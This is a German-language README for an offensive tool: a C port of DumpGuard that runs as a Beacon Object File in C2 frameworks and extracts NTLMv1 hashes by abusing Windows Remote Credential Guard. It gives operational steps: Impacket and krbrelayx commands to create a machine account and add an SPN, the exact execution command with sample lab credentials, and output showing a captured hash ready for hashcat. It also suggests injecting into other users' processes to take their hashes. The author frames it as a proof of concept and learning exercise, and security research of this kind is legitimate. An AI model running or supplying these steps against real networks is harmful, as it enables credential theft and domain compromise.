
Beacon Object File (BOF) Portierung von DumpGuard zum Extrahieren von NTLMv1-Hashes aus Sitzungen auf modernen Windows-Systemen.
Beacon Object File (BOF)-Port von DumpGuard zum Extrahieren von NTLMv1-Hashes aus Sitzungen auf modernen Windows-Systemen.

Dieses Repository enthält eine Beacon Object File (BOF)-Implementierung von DumpGuard, die von der ursprünglichen C#/.NET-Implementierung nach reinem C portiert wurde, zur Verwendung mit Havoc und anderen C2-Frameworks, die BOF-Ausführung unterstützen.
Dies ist ein Proof of Concept (PoC) und eine Lernübung.
Dieser BOF-Port wurde im Rahmen meiner persönlichen Reise erstellt, um die Details des Remote Credential Guard-Protokolls, der Kerberos-Authentifizierungsabläufe und der zugrunde liegenden Windows-Sicherheitsmechanismen zu verstehen. Der Prozess des Portierens dieses Tools von C# nach reinem C für die BOF-Ausführung war in erster Linie eine Bildungsmaßnahme.
Bitte beachten Sie, dass:
Wenn Sie Probleme finden oder Verbesserungen haben, sind Beiträge willkommen. Für eine robuste und gut getestete Implementierung beziehen Sie sich bitte auf das ursprüngliche DumpGuard-Tool.
Dieser BOF basiert auf der Forschung und den Tools von @bytewreck bei SpecterOps:
DumpGuard nutzt Windows Remote Credential Guard (RCG) aus, um NTLMv1-Hashes von angemeldeten Benutzern zu extrahieren, ohne den LSASS-Speicher zu berühren und ohne Administratorrechte zu benötigen. Es funktioniert auch dann, wenn Credential Guard aktiviert ist.
TSRemoteGuardCreds.Nach Runde 4 haben wir den verschlüsselten Anmeldeinformations-BLOB. Die Magie passiert, wenn wir LsaCallAuthenticationPackage mit dem TSSSP-Paket aufrufen. LSA leitet unsere Anfrage über RDPEAR -> TSRemoteGuard -> MSV1_0, das die Geheimnisse entschlüsselt und die NTLMv1-Antwort für uns berechnet.
Credential Guard isoliert NTLM- und Kerberos-Geheimnisse in einem sicheren VBS-Raum (LsaIso.exe) und verhindert so direkte Speicherzugriffsangriffe wie Mimikatz. Credential Guard muss diese Geheimnisse jedoch weiterhin für legitime Authentifizierungen nutzen. Das ist die Schnittstelle, die diese Technik ausnutzt.
Für den vollständigen technischen Tiefgang siehe: Catching Credential Guard Off Guard
Dieser BOF-Port implementiert nur den "Self"-Modus aus dem ursprünglichen DumpGuard-Tool. Die "All"-Modi sind in dieser Version nicht implementiert.
Extrahiert den NTLMv1-Hash des aktuellen Prozessbenutzers über das Remote Credential Guard-Protokoll.
Während dieser BOF nur den "Self"-Modus implementiert, können Sie dennoch NTLMv1-Hashes anderer Benutzer extrahieren, indem Sie z.B. in einen Prozess injizieren, der als dieser Benutzer läuft. Wenn Sie z.B. Administratorrechte haben, können Sie den BOF in einen Prozess injizieren, der einem anderen angemeldeten Benutzer gehört, um dessen Hash zu erhalten.
Diese Technik erfordert Anmeldeinformationen für ein Konto, das einen Service Principal Name (SPN) registriert hat. Eine Möglichkeit, dies zu erreichen, ist die Erstellung eines Computerkontos und das Hinzufügen eines SPN zu diesem.
Mit Impacket:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
Beispielausgabe:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
Mit krbrelayx addspn.py:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
Mit pywerview:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
Suchen Sie in der Ausgabe nach serviceprincipalname: host/yourspn.domain.local.
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
Hinweis: Der Parameter
xist ein Platzhalter/Dummy-Argument, das vor der Domäne erforderlich ist. Dies könnte in zukünftigen Versionen (falls vorhanden) behoben werden.
Beispiel:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
Beispielausgabe:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
Wichtig: Der extrahierte NTLMv1-Hash gehört dem Benutzer, der den BOF-Prozess ausführt, nicht dem für die Authentifizierung verwendeten Computerkonto (
EVIL_COMPUTER$). Die Anmeldeinformationen des Computerkontos werden nur verwendet, um sich beim KDC zu authentifizieren und die Remote Credential Guard-Sitzung aufzubauen.
Die Ausgabe erfolgt im hashcat-kompatiblen NTLMv1-Format:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
Ausgabe: build/dumpguard.x64.o
BSD 3-Clause License
Das ursprüngliche DumpGuard-Tool ist unter der BSD 3-Clause License lizenziert, Copyright (c) 2025 Valdemar Carøe. Dieser BOF-Port behält die gleichen Lizenzbedingungen bei.
Bei Fragen, Fehlerberichten oder Beiträgen öffnen Sie bitte ein Issue auf GitHub.
| Runde | Client -> Server | Server -> Client |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (vom echten KDC) |
| 2 | AP-REQ (Service-Ticket) | AP-REP + MIC |
| 3 | PubKeyAuth (Binding-Hash) | Server-Binding-Hash |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/V |